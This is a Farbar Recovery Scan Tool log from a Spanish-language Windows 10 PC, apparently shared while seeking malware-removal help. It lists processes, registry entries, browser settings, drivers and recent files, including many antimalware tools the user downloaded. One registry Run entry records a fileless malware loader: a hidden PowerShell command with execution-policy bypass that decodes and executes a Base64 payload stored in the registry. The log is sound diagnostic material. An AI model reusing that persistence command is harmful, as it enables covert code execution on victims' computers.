Scan result of Farbar Recovery Scan Tool (FRST) (x64) Version: 29-09-2018 01
Ran by Pacman (administrator) on PC-PC (25-06-2019 09:21:31)
Running from C:\Users\Pacman\Desktop
Loaded Profiles: Pacman (Available Profiles: Pacman & Invitado)
Platform: Windows 10 Home Version 1607 (X64) Language: Español (España, internacional)
Internet Explorer Version 11 (Default browser: Chrome)
Boot Mode: Normal
Tutorial for Farbar Recovery Scan Tool: ***********************************************************************************************************

==================== Processes (Whitelisted) =================

(If an entry is included in the fixlist, the process will be closed. The file will not be moved.)

(Intel Corporation) C:\Windows\System32\igfxCUIService.exe
(Microsoft Corporation) C:\Program Files\Windows Defender\MsMpEng.exe
(Microsoft Corporation) C:\Windows\Microsoft.NET\Framework64\v3.0\WPF\PresentationFontCache.exe
(Intel Corporation) C:\Windows\System32\igfxEM.exe
(Intel Corporation) C:\Windows\System32\igfxHK.exe
(Intel Corporation) C:\Windows\System32\igfxTray.exe
() C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.18.614.0_x64__kzf8qxf38zg5c\SkypeHost.exe
(Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe
(Microsoft Corporation) C:\Program Files\Windows Defender\MSASCuiL.exe
(Microsoft Corporation) C:\Program Files\Windows Defender\NisSrv.exe
(Microsoft Corporation) C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
(Microsoft Corporation) C:\Windows\System32\LicensingUI.exe
(Piriform Ltd) C:\Program Files\CCleaner\CCleaner64.exe
(Microsoft Corporation) C:\Program Files\Common Files\microsoft shared\OFFICE15\CSISYNCCLIENT.EXE
(Microsoft Corporation) C:\Program Files\Microsoft Office\Office15\MSOSYNC.EXE
(Microsoft Corporation) C:\Windows\syswow64\msiexec.exe
(Microsoft Corporation) C:\Program Files\Windows Defender\MpCmdRun.exe
(Microsoft Corporation) C:\Windows\System32\InstallAgent.exe
(Microsoft Corporation) C:\Windows\System32\InstallAgentUserBroker.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe

==================== Registry (Whitelisted) ====================

(If an entry is included in the fixlist, the registry item will be restored to default or removed. The file will not be moved.)

HKLM\...\Run: [RtHDVCpl] => C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe [13192848 2012-08-30] (Realtek Semiconductor)
HKLM\...\Run: [WindowsDefender] => C:\Program Files\Windows Defender\MSASCuiL.exe [631808 2019-04-27] (Microsoft Corporation)
HKLM-x32\...\Run: [SunJavaUpdateSched] => C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe [587288 2019-03-15] (Oracle Corporation)
HKLM\...\Policies\Explorer: [TaskbarNoNotification] 0
HKLM\...\Policies\Explorer: [HideSCAHealth] 0
HKU\S-1-5-21-692901148-3662908723-3453082416-1004\...\Run: [{049B8AF2-E10C-4F89-827D-3D7DE5CE8B78}] => powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\YAHP').humoLlr)));
HKU\S-1-5-21-692901148-3662908723-3453082416-1004\...\Run: [CCleaner Monitoring] => C:\Program Files\CCleaner\CCleaner64.exe [9803992 2019-06-13] (Piriform Ltd)
HKU\S-1-5-21-692901148-3662908723-3453082416-1004\...\Policies\Explorer: [TaskbarNoNotification] 0
HKU\S-1-5-21-692901148-3662908723-3453082416-1004\...\Policies\Explorer: [HideSCAHealth] 0
HKU\S-1-5-21-692901148-3662908723-3453082416-1004\...\MountPoints2: {15ba65c2-09bf-11e7-a8a1-bc5ff4aa7849} - "R:\autorun.exe" 
HKU\S-1-5-21-692901148-3662908723-3453082416-1004\...\MountPoints2: {15ba65e7-09bf-11e7-a8a1-bc5ff4aa7849} - "S:\autorun.exe" 
GroupPolicy: Restriction <======= ATTENTION

==================== Internet (Whitelisted) ====================

(If an item is included in the fixlist, if it is a registry item it will be removed or restored to default.)

Tcpip\Parameters: [DhcpNameServer] 192.168.1.254
Tcpip\..\Interfaces\{e2b59015-dd36-454b-872e-e08967999784}: [DhcpNameServer] 192.168.1.254

Internet Explorer:
==================
HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = 
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Start Page = 
HKU\S-1-5-21-692901148-3662908723-3453082416-1004\Software\Microsoft\Internet Explorer\Main,Start Page = 
HKU\S-1-5-21-692901148-3662908723-3453082416-1004\Software\Microsoft\Internet Explorer\Main,Secondary Start Pages = hxxp://home.psafe.com
SearchScopes: HKLM -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = 
SearchScopes: HKLM-x32 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = 
SearchScopes: HKU\S-1-5-21-692901148-3662908723-3453082416-1004 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = 
SearchScopes: HKU\S-1-5-21-692901148-3662908723-3453082416-1004 -> {5F2A8E24-6EE3-4CF0-BAEE-934A1F69F87F} URL = hxxps://mx.search.yahoo.com/search?p={searchTerms}&fr=yset_ie_syc_oracle&type=orcl_default
BHO: Skype for Business Browser Helper -> {31D09BA0-12F5-4CCE-BE8A-2923E76605DA} -> C:\Program Files\Microsoft Office\Office15\OCHelper.dll [2019-04-11] (Microsoft Corporation)
BHO: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files\Java\jre1.8.0_131\bin\ssv.dll [2019-04-22] (Oracle Corporation)
BHO: Microsoft SkyDrive Pro Browser Helper -> {D0498E0A-45B7-42AE-A9AA-ABA463DBD3BF} -> C:\Program Files\Microsoft Office\Office15\GROOVEEX.DLL [2019-02-23] (Microsoft Corporation)
BHO: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files\Java\jre1.8.0_131\bin\jp2ssv.dll [2019-04-22] (Oracle Corporation)
BHO-x32: Skype for Business Browser Helper -> {31D09BA0-12F5-4CCE-BE8A-2923E76605DA} -> C:\Program Files (x86)\Microsoft Office\Office15\OCHelper.dll [2019-04-11] (Microsoft Corporation)
BHO-x32: Microsoft SkyDrive Pro Browser Helper -> {D0498E0A-45B7-42AE-A9AA-ABA463DBD3BF} -> C:\Program Files (x86)\Microsoft Office\Office15\GROOVEEX.DLL [2019-02-23] (Microsoft Corporation)
Handler: osf - {D924BDC6-C83A-4BD5-90D0-095128A113D1} - C:\Program Files\Microsoft Office\Office15\MSOSB.DLL [2016-08-16] (Microsoft Corporation)
StartMenuInternet: IEXPLORE.EXE - iexplore.exe

FireFox:
========
FF Plugin: @java.com/DTPlugin,version=11.131.2 -> C:\Program Files\Java\jre1.8.0_131\bin\dtplugin\npDeployJava1.dll [2019-04-22] (Oracle Corporation)
FF Plugin: @java.com/JavaPlugin,version=11.131.2 -> C:\Program Files\Java\jre1.8.0_131\bin\plugin2\npjp2.dll [2019-04-22] (Oracle Corporation)
FF Plugin: @microsoft.com/SharePoint,version=14.0 -> C:\PROGRA~1\MICROS~2\Office15\NPSPWRAP.DLL [2014-01-23] (Microsoft Corporation)
FF Plugin-x32: @microsoft.com/Lync,version=15.0 -> C:\Program Files (x86)\Mozilla Firefox\plugins\npmeetingjoinpluginoc.dll [2016-08-27] (Microsoft Corporation)
FF Plugin-x32: @microsoft.com/SharePoint,version=14.0 -> C:\PROGRA~2\MICROS~1\Office15\NPSPWRAP.DLL [2014-01-22] (Microsoft Corporation)
FF Plugin-x32: @tools.google.com/Google Update;version=3 -> C:\Program Files (x86)\Google\Update\1.3.33.5\npGoogleUpdate3.dll [2019-04-28] (Google Inc.)
FF Plugin-x32: @tools.google.com/Google Update;version=9 -> C:\Program Files (x86)\Google\Update\1.3.33.5\npGoogleUpdate3.dll [2019-04-28] (Google Inc.)
FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\npMeetingJoinPluginOC.dll [2016-08-27] (Microsoft Corporation)

Chrome: 
=======
CHR DefaultSearchURL: Default -> hxxps://es.search.yahoo.com/search?p={searchTerms}&fr=yset_chr_syc_oracle&type=default
CHR DefaultSearchKeyword: Default -> Yahoo
CHR DefaultSuggestURL: Default -> hxxps://es.search.yahoo.com/sugg/ie?output=fxjson&command={searchTerms}&nResults=10
CHR Profile: C:\Users\Pacman\AppData\Local\Google\Chrome\User Data\Default [2019-06-25]
CHR Extension: (Google Drive) - C:\Users\Pacman\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2016-09-24]
CHR Extension: (Galaxy Aero 1440p) - C:\Users\Pacman\AppData\Local\Google\Chrome\User Data\Default\Extensions\baobdjafbehnhgceapbejnfcfebhoafb [2016-09-24]
CHR Extension: (YouTube) - C:\Users\Pacman\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2016-09-24]
CHR Extension: (uBlock Origin) - C:\Users\Pacman\AppData\Local\Google\Chrome\User Data\Default\Extensions\cjpalhdlnbpafiamejdnhcphjbkeiagm [2019-06-21]
CHR Extension: (Sistema de pagos de Chrome Web Store) - C:\Users\Pacman\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2019-03-08]
CHR Extension: (Gmail) - C:\Users\Pacman\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2016-09-24]
CHR Extension: (Chrome Media Router) - C:\Users\Pacman\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm [2019-06-17]
CHR HKLM\...\Chrome\Extension: [ehlceeijggpdgfcefmipcmdelickjgfg] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [ehlceeijggpdgfcefmipcmdelickjgfg] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [fabhkdeopjkcpkmofliimbjckmocfiom] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [ibbfklbaljofpaanmpaeadejijfdddco] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [kpdmjodecdegfglgaapafjleomjjlpnh] - hxxps://clients2.google.com/service/update2/crx

==================== Services (Whitelisted) ====================

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

S3 IDriverT; C:\Program Files (x86)\Common Files\InstallShield\Driver\11\Intel 32\IDriverT.exe [69632 2005-04-04] (Macrovision Corporation) [File not signed]
R2 igfxCUIService1.0.0.0; C:\WINDOWS\system32\igfxCUIService.exe [337888 2016-05-03] (Intel Corporation)
R3 WdNisSvc; C:\Program Files\Windows Defender\NisSrv.exe [347320 2019-04-27] (Microsoft Corporation)
R2 WinDefend; C:\Program Files\Windows Defender\MsMpEng.exe [103712 2019-04-27] (Microsoft Corporation)

===================== Drivers (Whitelisted) ======================

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

S3 dtproscsibus; C:\WINDOWS\System32\drivers\dtproscsibus.sys [30352 2019-03-09] (Disc Soft Ltd)
S3 NetAdapterCx; C:\WINDOWS\System32\drivers\NetAdapterCx.sys [90624 2016-07-16] ()
R3 rt640x64; C:\WINDOWS\System32\drivers\rt640x64.sys [589824 2016-07-16] (Realtek )
S0 WdBoot; C:\WINDOWS\System32\drivers\WdBoot.sys [44056 2016-07-16] (Microsoft Corporation)
R0 WdFilter; C:\WINDOWS\System32\drivers\WdFilter.sys [290144 2016-07-16] (Microsoft Corporation)
R3 WdNisDrv; C:\WINDOWS\System32\Drivers\WdNisDrv.sys [123232 2016-07-16] (Microsoft Corporation)

==================== NetSvcs (Whitelisted) ===================

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)


==================== One Month Created files and folders ========

(If an entry is included in the fixlist, the file/folder will be moved.)

2019-06-25 09:21 - 2019-06-25 09:22 - 00011245 _____ C:\Users\Pacman\Desktop\FRST.txt
2019-06-25 09:21 - 2019-06-25 09:21 - 00000000 ____D C:\FRST
2019-06-25 09:20 - 2019-06-25 09:20 - 00000000 _____ C:\Users\Pacman\Desktop\GUIA.txt
2019-06-25 09:19 - 2019-06-25 09:19 - 02440704 _____ (Farbar) C:\Users\Pacman\Downloads\FRST64.exe
2019-06-25 09:19 - 2019-06-25 09:19 - 02440704 _____ (Farbar) C:\Users\Pacman\Desktop\FRST64.exe
2019-06-25 09:12 - 2019-06-25 09:12 - 00000000 ___HD C:\OneDriveTemp
2019-06-25 08:16 - 2019-06-25 09:12 - 00000000 ____D C:\ProgramData\Malwarebytes' Anti-Malware (portable)
2019-06-25 08:16 - 2019-06-25 08:16 - 00192216 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\MBAMSwissArmy.sys
2019-06-25 08:16 - 2019-06-25 08:16 - 00000000 ____D C:\ProgramData\Malwarebytes
2019-06-25 08:12 - 2019-06-25 08:14 - 00109272 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\mbamchameleon.sys
2019-06-25 08:11 - 2019-06-25 09:09 - 00000000 ____D C:\Users\Pacman\Desktop\mbar
2019-06-25 08:10 - 2019-06-25 08:11 - 16563352 _____ (Malwarebytes Corp.) C:\Users\Pacman\Downloads\mbar-1.09.3.1001.exe
2019-06-23 10:24 - 2019-06-23 10:24 - 00000000 _____ C:\Users\Pacman\Desktop\28 diciembre.txt
2019-06-22 19:11 - 2019-06-22 19:11 - 00252832 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\4E645341.sys
2019-06-22 18:47 - 2019-06-22 18:47 - 00252832 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\15354057.sys
2019-06-22 17:17 - 2019-06-22 17:17 - 00000214 _____ C:\WINDOWS\Tasks\CreateExplorerShellUnelevatedTask.job
2019-06-21 17:50 - 2019-06-21 17:50 - 21822377 _____ C:\Users\Pacman\Downloads\! Tory Eum3-EDIT.zip
2019-06-20 15:48 - 2019-06-20 15:48 - 00252832 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\6D8C1B2C.sys
2019-06-20 14:30 - 2019-06-20 14:34 - 64232976 _____ (Malwarebytes ) C:\Users\Pacman\Downloads\mb3-setup-consumer-3.1.2.1733-1.0.141-1.0.2092 (1).exe
2019-06-20 14:25 - 2019-06-20 14:25 - 00000816 _____ C:\Users\Pacman\Desktop\mb-clean-results.txt
2019-06-20 14:24 - 2019-06-20 14:24 - 00827856 _____ (Malwarebytes) C:\Users\Pacman\Downloads\mb-clean-3.1.0.1008 (1).exe
2019-06-20 00:43 - 2019-06-20 00:43 - 00001045 _____ C:\Users\Pacman\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\join.me.lnk
2019-06-20 00:43 - 2019-06-20 00:43 - 00001037 _____ C:\Users\Pacman\Desktop\join.me.lnk
2019-06-20 00:41 - 2019-06-20 00:41 - 00827856 _____ (Malwarebytes) C:\Users\Pacman\Downloads\mb-clean-3.1.0.1008.exe
2019-06-20 00:36 - 2019-06-20 00:36 - 00252832 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\118B6148.sys
2019-06-20 00:10 - 2019-06-20 00:14 - 00003852 _____ C:\Users\Pacman\Desktop\Rkill.txt
2019-06-20 00:10 - 2019-06-20 00:10 - 02030536 _____ (Bleeping Computer, LLC) C:\Users\Pacman\Downloads\iExplore.exe
2019-06-20 00:08 - 2019-06-20 00:08 - 00252832 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\331C4BDE.sys
2019-06-20 00:08 - 2019-06-20 00:08 - 00252832 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\28E74C0F.sys
2019-06-20 00:07 - 2019-06-20 00:07 - 00252832 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\143C4AD8.sys
2019-06-19 18:27 - 2019-06-19 18:27 - 00252832 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\529A469E.sys
2019-06-19 18:26 - 2019-06-19 18:26 - 00252832 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\5EDA4664.sys
2019-06-19 17:01 - 2019-06-19 17:01 - 00252832 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\5F0104D3.sys
2019-06-19 17:01 - 2019-06-19 17:01 - 00252832 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\112904AF.sys
2019-06-19 16:56 - 2019-06-19 16:56 - 00252832 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\72F00140.sys
2019-06-19 16:52 - 2019-06-19 16:52 - 00000000 ____D C:\Users\Pacman\Desktop\Registros de Virus
2019-06-19 16:13 - 2019-06-19 16:13 - 00252832 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\66C360B2.sys
2019-06-19 16:13 - 2019-06-19 16:13 - 00252832 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\42E76092.sys
2019-06-19 16:12 - 2019-06-19 16:12 - 00252832 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\52185F7C.sys
2019-06-19 16:12 - 2019-06-19 16:12 - 00252832 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\1FF05FA0.sys
2019-06-19 15:48 - 2019-06-19 15:48 - 00252832 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\4E404D2B.sys
2019-06-19 02:42 - 2019-06-19 02:42 - 00252832 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\0A477393.sys
2019-06-19 01:42 - 2019-06-19 01:42 - 00252832 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\4EF74583.sys
2019-06-19 01:42 - 2019-06-19 01:42 - 00252832 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\1AC545B1.sys
2019-06-18 23:27 - 2019-06-18 23:27 - 64232976 _____ (Malwarebytes ) C:\Users\Pacman\Desktop\mb3-setup-consumer-3.1.2.1733-1.0.141-1.0.2092.exe
2019-06-18 23:25 - 2019-06-18 23:27 - 64232976 _____ (Malwarebytes ) C:\Users\Pacman\Downloads\mb3-setup-consumer-3.1.2.1733-1.0.141-1.0.2092.exe
2019-06-18 23:07 - 2019-06-18 23:06 - 04110280 _____ C:\Users\Pacman\Desktop\adwcleaner_6.047.exe
2019-06-18 23:06 - 2019-06-18 23:06 - 04110280 _____ C:\Users\Pacman\Downloads\adwcleaner_6.047.exe
2019-06-18 23:05 - 2019-06-22 19:11 - 00000000 ____D C:\AdwCleaner
2019-06-18 23:04 - 2019-06-18 23:24 - 00000000 ____D C:\Users\Pacman\Desktop\Informes
2019-06-18 19:52 - 2019-06-18 19:52 - 06760064 _____ (ESET spol. s r.o.) C:\Users\Pacman\Downloads\ESETOnlineScanner_ESL (1).exe
2019-06-18 19:43 - 2019-06-18 19:43 - 04102600 _____ C:\Users\Pacman\Downloads\AdwCleaner.exe
2019-06-18 19:40 - 2019-06-18 19:40 - 06760064 _____ (ESET spol. s r.o.) C:\Users\Pacman\Downloads\ESETOnlineScanner_ESL.exe
2019-06-18 19:40 - 2019-06-18 19:40 - 00000000 ____D C:\Users\Pacman\AppData\Local\ESET
2019-06-18 19:09 - 2019-06-18 19:09 - 00000000 ____D C:\Users\julio\Desktop\Julio cesar Descargas
2019-06-17 23:18 - 2019-06-17 23:18 - 00252832 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\07230920.sys
2019-06-17 18:07 - 2019-06-17 18:07 - 00252832 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\40C51B61.sys
2019-06-17 15:33 - 2019-06-17 15:33 - 01106888 _____ (Bleeping Computer, LLC) C:\Users\Pacman\Desktop\rkill64.exe
2019-06-17 15:26 - 2019-06-17 14:33 - 02030536 _____ (Bleeping Computer, LLC) C:\Users\Pacman\Desktop\rkill.exe
2019-06-17 14:33 - 2019-06-17 14:33 - 02030536 _____ (Bleeping Computer, LLC) C:\Users\Pacman\Downloads\rkill.exe
2019-06-17 11:44 - 2019-06-17 11:44 - 00252832 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\6FC675DC.sys
2019-06-17 02:41 - 2019-06-17 02:41 - 00002850 _____ C:\WINDOWS\System32\Tasks\CCleanerSkipUAC
2019-06-17 02:41 - 2019-06-17 02:41 - 00000000 ____D C:\Program Files\CCleaner
2019-06-17 01:57 - 2019-06-20 00:43 - 00000000 ____D C:\Users\Pacman\AppData\Local\join.me
2019-06-16 19:25 - 2019-06-16 19:25 - 00000000 _____ C:\autoexec.bat
2019-06-15 11:03 - 2019-06-15 11:03 - 06700105 _____ C:\Users\Pacman\Downloads\*******.com_772668f7dc75255eb8f977385d079b44.mp4
2019-06-14 20:01 - 2019-06-16 14:28 - 00000000 ____D C:\Users\Pacman\AppData\Local\Facebook
2019-06-14 11:58 - 2019-06-14 11:59 - 00000000 ___SD C:\WINDOWS\UpdateAssistantV2
2019-06-14 01:41 - 2019-06-03 05:50 - 00315744 _____ (Adobe Systems Incorporated) C:\WINDOWS\SysWOW64\atmfd.dll
2019-06-14 01:41 - 2019-06-03 05:16 - 00279904 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\sdbus.sys
2019-06-14 01:41 - 2019-06-03 05:11 - 01706488 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\KernelBase.dll
2019-06-14 01:41 - 2019-06-03 05:09 - 02213760 _____ (Microsoft Corporation) C:\WINDOWS\system32\KernelBase.dll
2019-06-14 01:41 - 2019-06-03 05:08 - 07783256 _____ (Microsoft Corporation) C:\WINDOWS\system32\ntoskrnl.exe
2019-06-14 01:41 - 2019-06-03 05:06 - 02048496 _____ C:\WINDOWS\SysWOW64\CoreUIComponents.dll
2019-06-14 01:41 - 2019-06-03 05:01 - 02681200 _____ C:\WINDOWS\system32\CoreUIComponents.dll
2019-06-14 01:41 - 2019-06-03 04:59 - 01181024 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\ndis.sys
2019-06-14 01:41 - 2019-06-03 04:59 - 00118112 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\tdx.sys
2019-06-14 01:41 - 2019-06-03 04:58 - 00340832 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\msv1_0.dll
2019-06-14 01:41 - 2019-06-03 04:55 - 00780640 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\WWAHost.exe
2019-06-14 01:41 - 2019-06-03 04:54 - 00187232 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\dumpsd.sys
2019-06-14 01:41 - 2019-06-03 04:52 - 01021784 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\AppxPackaging.dll
2019-06-14 01:41 - 2019-06-03 04:52 - 00607072 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\NetSetupEngine.dll
2019-06-14 01:41 - 2019-06-03 04:52 - 00111968 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\NetSetupApi.dll
2019-06-14 01:41 - 2019-06-03 04:51 - 02187104 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\dxgkrnl.sys
2019-06-14 01:41 - 2019-06-03 04:51 - 00402272 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\dxgmms1.sys
2019-06-14 01:41 - 2019-06-03 04:50 - 00857440 _____ (Microsoft Corporation) C:\WINDOWS\system32\WWAHost.exe
2019-06-14 01:41 - 2019-06-03 04:50 - 00381792 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\USBXHCI.SYS
2019-06-14 01:41 - 2019-06-03 04:49 - 20967840 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\shell32.dll
2019-06-14 01:41 - 2019-06-03 04:48 - 00857952 _____ (Microsoft Corporation) C:\WINDOWS\system32\NetSetupEngine.dll
2019-06-14 01:41 - 2019-06-03 04:48 - 00148832 _____ (Microsoft Corporation) C:\WINDOWS\system32\NetSetupApi.dll
2019-06-14 01:41 - 2019-06-03 04:45 - 22220864 _____ (Microsoft Corporation) C:\WINDOWS\system32\shell32.dll
2019-06-14 01:41 - 2019-06-03 04:44 - 01412640 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\gdi32full.dll
2019-06-14 01:41 - 2019-06-03 04:44 - 00545944 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\fontdrvhost.exe
2019-06-14 01:41 - 2019-06-03 04:39 - 05686272 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.Data.Pdf.dll
2019-06-14 01:41 - 2019-06-03 04:39 - 02532192 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\tcpip.sys
2019-06-14 01:41 - 2019-06-03 04:33 - 00095232 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\UserDataTimeUtil.dll
2019-06-14 01:41 - 2019-06-03 04:32 - 00002560 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\tzres.dll
2019-06-14 01:41 - 2019-06-03 04:31 - 00224256 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\ExSMime.dll
2019-06-14 01:41 - 2019-06-03 04:31 - 00037376 _____ (Adobe Systems) C:\WINDOWS\SysWOW64\atmlib.dll
2019-06-14 01:41 - 2019-06-03 04:28 - 00285184 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.UI.BlockedShutdown.dll
2019-06-14 01:41 - 2019-06-03 04:28 - 00232448 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\edputil.dll
2019-06-14 01:41 - 2019-06-03 04:26 - 00231936 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.ApplicationModel.LockScreen.dll
2019-06-14 01:41 - 2019-06-03 04:26 - 00100352 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\AuthBrokerUI.dll
2019-06-14 01:41 - 2019-06-03 04:23 - 00306688 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\ieproxy.dll
2019-06-14 01:41 - 2019-06-03 04:22 - 00364544 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\NetSetupShim.dll
2019-06-14 01:41 - 2019-06-03 04:22 - 00327168 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\netcorehc.dll
2019-06-14 01:41 - 2019-06-03 04:22 - 00181760 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\tcpipcfg.dll
2019-06-14 01:41 - 2019-06-03 04:20 - 00755712 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\kerberos.dll
2019-06-14 01:41 - 2019-06-03 04:19 - 01164288 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\certutil.exe
2019-06-14 01:41 - 2019-06-03 04:18 - 22569984 _____ (Microsoft Corporation) C:\WINDOWS\system32\edgehtml.dll
2019-06-14 01:41 - 2019-06-03 04:16 - 00709120 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\CPFilters.dll
2019-06-14 01:41 - 2019-06-03 04:16 - 00119808 _____ (Microsoft Corporation) C:\WINDOWS\system32\UserDataTimeUtil.dll
2019-06-14 01:41 - 2019-06-03 04:15 - 19414016 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mshtml.dll
2019-06-14 01:41 - 2019-06-03 04:15 - 18364928 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\edgehtml.dll
2019-06-14 01:41 - 2019-06-03 04:15 - 00886272 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\aadtb.dll
2019-06-14 01:41 - 2019-06-03 04:15 - 00053248 _____ (Microsoft Corporation) C:\WINDOWS\system32\musdialoghandlers.dll
2019-06-14 01:41 - 2019-06-03 04:15 - 00041472 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\BasicRender.sys
2019-06-14 01:41 - 2019-06-03 04:14 - 00238592 _____ (Microsoft Corporation) C:\WINDOWS\system32\MusNotification.exe
2019-06-14 01:41 - 2019-06-03 04:14 - 00124416 _____ (Microsoft Corporation) C:\WINDOWS\system32\mssprxy.dll
2019-06-14 01:41 - 2019-06-03 04:14 - 00098304 _____ (Microsoft Corporation) C:\WINDOWS\system32\MusNotificationUx.exe
2019-06-14 01:41 - 2019-06-03 04:12 - 00027136 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\fdProxy.dll
2019-06-14 01:41 - 2019-06-03 04:10 - 00418304 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.UI.BlockedShutdown.dll
2019-06-14 01:41 - 2019-06-03 04:09 - 00441344 _____ (Microsoft Corporation) C:\WINDOWS\system32\netcorehc.dll
2019-06-14 01:41 - 2019-06-03 04:08 - 12187648 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\ieframe.dll
2019-06-14 01:41 - 2019-06-03 04:08 - 02643968 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\tquery.dll
2019-06-14 01:41 - 2019-06-03 04:08 - 01221120 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.Media.Audio.dll
2019-06-14 01:41 - 2019-06-03 04:08 - 00691200 _____ (Microsoft Corporation) C:\WINDOWS\system32\ieproxy.dll
2019-06-14 01:41 - 2019-06-03 04:07 - 00552960 _____ (Microsoft Corporation) C:\WINDOWS\system32\MusUpdateHandlers.dll
2019-06-14 01:41 - 2019-06-03 04:07 - 00456192 _____ (Microsoft Corporation) C:\WINDOWS\system32\puiobj.dll
2019-06-14 01:41 - 2019-06-03 04:06 - 03664384 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\jscript9.dll
2019-06-14 01:41 - 2019-06-03 04:05 - 01883648 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.UI.Logon.dll
